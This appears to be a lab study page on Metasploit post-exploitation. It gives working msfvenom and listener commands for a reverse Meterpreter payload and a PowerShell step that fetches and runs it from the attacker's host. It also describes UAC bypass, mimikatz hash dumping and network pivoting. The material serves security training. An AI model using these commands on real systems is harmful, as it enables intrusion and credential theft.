Post-Exploitation
Meterpreter
# Create a non-staged payload
$ msfvenom -p windows/x64/meterpreter_reverse_https LHOST=192.168.45.232 LPORT=443 -f exe -o met.exe
# Setup listener
$ sudo msfconsole -q
msf6 > use exploit/multi/handler
msf6 > set PAYLOAD windows/x64/meterpreter_reverse_https
msf6 > set LHOST tun0
msf6 > set LPORT 443
msf6 > run# Download and execute the payload on the target
$ nc 192.168.241.223 4444
Microsoft Windows [Version 10.0.22000.1219]
(c) Microsoft Corporation. All rights reserved.
C:\Users\luiza>powershell iwr -uri http://192.168.45.232/met.exe -OutFile met.exe
powershell iwr -uri http://192.168.45.232/met.exe -OutFile met.exe
C:\Users\luiza>.\met.exe
.\met.exeInactivity Check
Determines user inactivity; useful for stealth.
Privilege Escalation
Attempts SYSTEM-level access using techniques like Named Pipe Impersonation leveraging the SeImpersonatePrivilege and SeDebugPrivilege.
Process Migration
Moves session to another process to maintain stealth/persistence. Migration is only possible to processes with equal or lower security levels.
If no suitable existing process is available, it can start a hidden process and migrate into it.
Modules
UAC Bypass
A typical client-side attack usually provides only an unprivileged shell. However, when the target user is a local administrator, we can attempt to elevate the shell's integrity level by bypassing User Account Control (UAC).
The process below (5656) is running with a medium integrity level, meaning administrative actions would still be blocked by UAC.
Kiwi
With elevated privileges with can also load MSF's extensions, such as kiwi, a wrapper around mimikatz. The creds_msv extracts LM and NTLM hashes.
Pivoting
Dual-homed machines can act as bridges between networks.
Route add
We can manually add a route to the second network (172.16.16.0/24) through the existing session in order to enable MSF to route traffic through a compromised host. This allows Metasploit to "see" and interact with devices on that internal network.
Routes in Metasploit let you scan and exploit targets behind firewalls or NAT by tunneling through a compromised host.
With the route added, we can now use MSF modules to compromise the second target. The bind_tcp payload is used because the target can’t initiate outbound traffic, but our attacking machine can connect to it instead.
Autoroute
Instead of adding routes manually, the autoroute module automatically adds all routable subnets from the compromised host.
Socks_proxy
With a route in place, the socks_proxy module sets up a SOCKS5 proxy server on the attacker's machine. This enables tunneling through compromised host using proxychains, which lets any external app (like RDP clients) act as if it’s inside the internal network.
SOCKS proxy + proxychains = full tool access to pivoted networks.
Portfwd
Instead of a SOCKS proxy, we can forwards traffic from the attacker's machine directly to the internal target. This maps an internal service to a local port, allowing direct tool access.
Last updated
Was this helpful?